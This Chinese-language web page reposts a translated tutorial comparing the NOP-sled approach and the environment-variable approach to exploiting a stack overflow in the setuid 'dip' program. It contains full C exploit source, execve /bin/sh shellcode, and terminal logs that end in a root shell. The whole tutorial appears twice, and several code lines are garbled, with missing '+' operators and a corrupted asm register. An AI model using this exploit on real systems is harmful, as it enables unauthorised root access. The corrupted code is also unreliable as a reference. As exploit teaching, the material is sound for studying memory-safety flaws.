緩沖區(qū)溢出解密四
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:04:01 作者:佚名
我要評(píng)論
來自Aleph1的文章:
“可見這不是一個(gè)有效的過程。甚至在知道堆棧開始的位置時(shí),試圖猜測(cè)偏移地址幾乎是不可能的。好的情況下我會(huì)需要上百次嘗試,壞的情況下會(huì)要上千次。問題是我們需要*準(zhǔn)確*的猜測(cè)出我們代碼將開始的地址位置。如果我們偏了大概一個(gè)字
記得我們之前為了找到校正所作的嗎?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已經(jīng)知道下面是我們的shell生成碼:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
這個(gè)子程序返回堆棧指針的值。如我以前告訴你們的,這不是漏洞程序的ESP。它是我們漏洞利用程序的ESP,而我們利用這個(gè)值僅僅來知道內(nèi)存中漏洞程序堆棧指針可能的位置。它僅僅是考慮到一個(gè)范圍:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我們的main():arg[5]是為了execve(),buf[]是我們將供給漏洞緩沖區(qū)的。*ap(代表地址指針)是和buf[]的地址聯(lián)系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果這個(gè)”漏洞利用者”輸入一些值作為一個(gè)偏移量,我們從提示的esp中減去這個(gè)值,如果沒有,我們使用0xbfffd779做為shellcode的地址。我在用gdb調(diào)試dip的時(shí)候發(fā)現(xiàn)了這個(gè)地址。它是一個(gè)預(yù)先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我們讓地址指針指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我們校正我們的緩沖區(qū)后,我們先放置返回地址到整個(gè)緩沖區(qū):
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我們將一些NULL操作指令填到緩沖區(qū)的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我們放置我們的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我們?yōu)閑xecve()準(zhǔn)備參數(shù),如果你不明白這個(gè)去讀execve的手冊(cè)頁:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
注意上面我提供buf給-l選項(xiàng)。
接著我們execve(),如果一個(gè)錯(cuò)誤產(chǎn)生了,我們通過perror()得到這個(gè)錯(cuò)誤:
execve(arg[0], arg, NULL);
perror(execve);
讓我們執(zhí)行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我們不知道確切的地址,我們需要猜測(cè)偏移量。讓我們假設(shè)我們不知道這個(gè)地址:
讓我們首先試以-400作為偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊,讓我們?cè)嚕?50:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
讓我們進(jìn)行另一個(gè)猜測(cè):
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而,如你所見,猜測(cè)正確偏移量是非常乏味的。
現(xiàn)在是環(huán)境變量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
讓我來詳細(xì)說明這個(gè)漏洞利用程序:
我們的main()。我們有一個(gè)字母指針數(shù)組。因?yàn)槲覀兡苡?jì)算環(huán)境指針的地址,我們把shellcode放到第一個(gè)環(huán)境變量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我們計(jì)算我們shellcode的地址。關(guān)于我們?nèi)绾斡?jì)算地址的細(xì)節(jié)見上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
從緩沖區(qū)的第一個(gè)對(duì)齊的地址開始,我們放置shellcode的計(jì)算地址。我們以四為步長(zhǎng)增加i,因?yàn)楫?dāng)我們以1為步長(zhǎng)增加一個(gè)指針的時(shí)候,意味
著我們每次對(duì)其增加了4個(gè)字節(jié)。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接著我們execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因?yàn)椴恍枰獓L試和猜測(cè),第一次我們就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此,兩個(gè)方法之間的基本不同之處能被列成:
項(xiàng)目 Aleph1的方法 環(huán)境變量方法
-------------------- --------------------- ------------------------ 漏洞緩沖區(qū) 一半緩沖區(qū)被NOP填充, 全部緩沖區(qū)用地址填充
接著是shellcode,然后
是地址
sc的放置 我們放置sc在漏洞緩沖 我們放置sc在傳遞給execve
區(qū)里 ()的環(huán)境指針里
sc的地址 我們?cè)囍聹y(cè)sc的地址 我們*知道*sc的地址 小緩沖區(qū) 如果sc在緩沖區(qū)中不 因?yàn)槲覀円呀?jīng)不把sc放在緩
合適,就很難利用漏洞 沖區(qū),這個(gè)就無關(guān)緊要了。僅
如果你選擇把sc放到 僅4個(gè)字節(jié)就夠了!
環(huán)境指針里你將必
須猜測(cè)環(huán)境指針的
地址
Diffic. Level somewhat harder easier!
最后的文字和致謝
這篇文章原來實(shí)際上使用土耳其語寫的。由于翻譯成英語或者其它語言有很多要求,而且實(shí)際上環(huán)境變量方法仍然缺少文檔,而我認(rèn)為用英文準(zhǔn)備一篇這樣的文章是一個(gè)很好的主意,還有介紹一個(gè)更加易懂的shellcode等等,我就寫了這篇文章。這里可能有一些模糊的地方或者甚至是一些需要改正的錯(cuò)誤信息。如果你碰巧遇到額,給我email,我將改正它。先行致謝。 - Murat Balaban 致謝:a, matsuri, gargoyle
參考書目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在許多地方看到過這里我討論的shellcode。我真的不知道誰第一個(gè)寫的它所以如果你知道,請(qǐng)告訴我,這樣我能在這里加上。
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已經(jīng)知道下面是我們的shell生成碼:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
這個(gè)子程序返回堆棧指針的值。如我以前告訴你們的,這不是漏洞程序的ESP。它是我們漏洞利用程序的ESP,而我們利用這個(gè)值僅僅來知道內(nèi)存中漏洞程序堆棧指針可能的位置。它僅僅是考慮到一個(gè)范圍:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我們的main():arg[5]是為了execve(),buf[]是我們將供給漏洞緩沖區(qū)的。*ap(代表地址指針)是和buf[]的地址聯(lián)系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果這個(gè)”漏洞利用者”輸入一些值作為一個(gè)偏移量,我們從提示的esp中減去這個(gè)值,如果沒有,我們使用0xbfffd779做為shellcode的地址。我在用gdb調(diào)試dip的時(shí)候發(fā)現(xiàn)了這個(gè)地址。它是一個(gè)預(yù)先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我們讓地址指針指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我們校正我們的緩沖區(qū)后,我們先放置返回地址到整個(gè)緩沖區(qū):
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我們將一些NULL操作指令填到緩沖區(qū)的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我們放置我們的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我們?yōu)閑xecve()準(zhǔn)備參數(shù),如果你不明白這個(gè)去讀execve的手冊(cè)頁:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
注意上面我提供buf給-l選項(xiàng)。
接著我們execve(),如果一個(gè)錯(cuò)誤產(chǎn)生了,我們通過perror()得到這個(gè)錯(cuò)誤:
execve(arg[0], arg, NULL);
perror(execve);
讓我們執(zhí)行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我們不知道確切的地址,我們需要猜測(cè)偏移量。讓我們假設(shè)我們不知道這個(gè)地址:
讓我們首先試以-400作為偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊,讓我們?cè)嚕?50:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
讓我們進(jìn)行另一個(gè)猜測(cè):
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而,如你所見,猜測(cè)正確偏移量是非常乏味的。
現(xiàn)在是環(huán)境變量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
讓我來詳細(xì)說明這個(gè)漏洞利用程序:
我們的main()。我們有一個(gè)字母指針數(shù)組。因?yàn)槲覀兡苡?jì)算環(huán)境指針的地址,我們把shellcode放到第一個(gè)環(huán)境變量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我們計(jì)算我們shellcode的地址。關(guān)于我們?nèi)绾斡?jì)算地址的細(xì)節(jié)見上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
從緩沖區(qū)的第一個(gè)對(duì)齊的地址開始,我們放置shellcode的計(jì)算地址。我們以四為步長(zhǎng)增加i,因?yàn)楫?dāng)我們以1為步長(zhǎng)增加一個(gè)指針的時(shí)候,意味
著我們每次對(duì)其增加了4個(gè)字節(jié)。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接著我們execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因?yàn)椴恍枰獓L試和猜測(cè),第一次我們就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此,兩個(gè)方法之間的基本不同之處能被列成:
項(xiàng)目 Aleph1的方法 環(huán)境變量方法
-------------------- --------------------- ------------------------ 漏洞緩沖區(qū) 一半緩沖區(qū)被NOP填充, 全部緩沖區(qū)用地址填充
接著是shellcode,然后
是地址
sc的放置 我們放置sc在漏洞緩沖 我們放置sc在傳遞給execve
區(qū)里 ()的環(huán)境指針里
sc的地址 我們?cè)囍聹y(cè)sc的地址 我們*知道*sc的地址 小緩沖區(qū) 如果sc在緩沖區(qū)中不 因?yàn)槲覀円呀?jīng)不把sc放在緩
合適,就很難利用漏洞 沖區(qū),這個(gè)就無關(guān)緊要了。僅
如果你選擇把sc放到 僅4個(gè)字節(jié)就夠了!
環(huán)境指針里你將必
須猜測(cè)環(huán)境指針的
地址
Diffic. Level somewhat harder easier!
最后的文字和致謝
這篇文章原來實(shí)際上使用土耳其語寫的。由于翻譯成英語或者其它語言有很多要求,而且實(shí)際上環(huán)境變量方法仍然缺少文檔,而我認(rèn)為用英文準(zhǔn)備一篇這樣的文章是一個(gè)很好的主意,還有介紹一個(gè)更加易懂的shellcode等等,我就寫了這篇文章。這里可能有一些模糊的地方或者甚至是一些需要改正的錯(cuò)誤信息。如果你碰巧遇到額,給我email,我將改正它。先行致謝。 - Murat Balaban 致謝:a, matsuri, gargoyle
參考書目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在許多地方看到過這里我討論的shellcode。我真的不知道誰第一個(gè)寫的它所以如果你知道,請(qǐng)告訴我,這樣我能在這里加上。
相關(guān)文章
- “CMOS密碼”就是通常所說的“開機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01

QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04
QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時(shí)會(huì)采用 Windows 自帶的 BitLocker 加密工具對(duì)電腦磁盤分區(qū)進(jìn)行加密。但有些人加密后就會(huì)忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25
防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27
徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買臺(tái)量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會(huì)通過它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19針對(duì)Linux系統(tǒng)全盤加密的啟動(dòng)攻擊
本文討論了針對(duì)Linux系統(tǒng)全盤加密的冷啟動(dòng)攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對(duì)日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問題。其實(shí),針對(duì)內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17






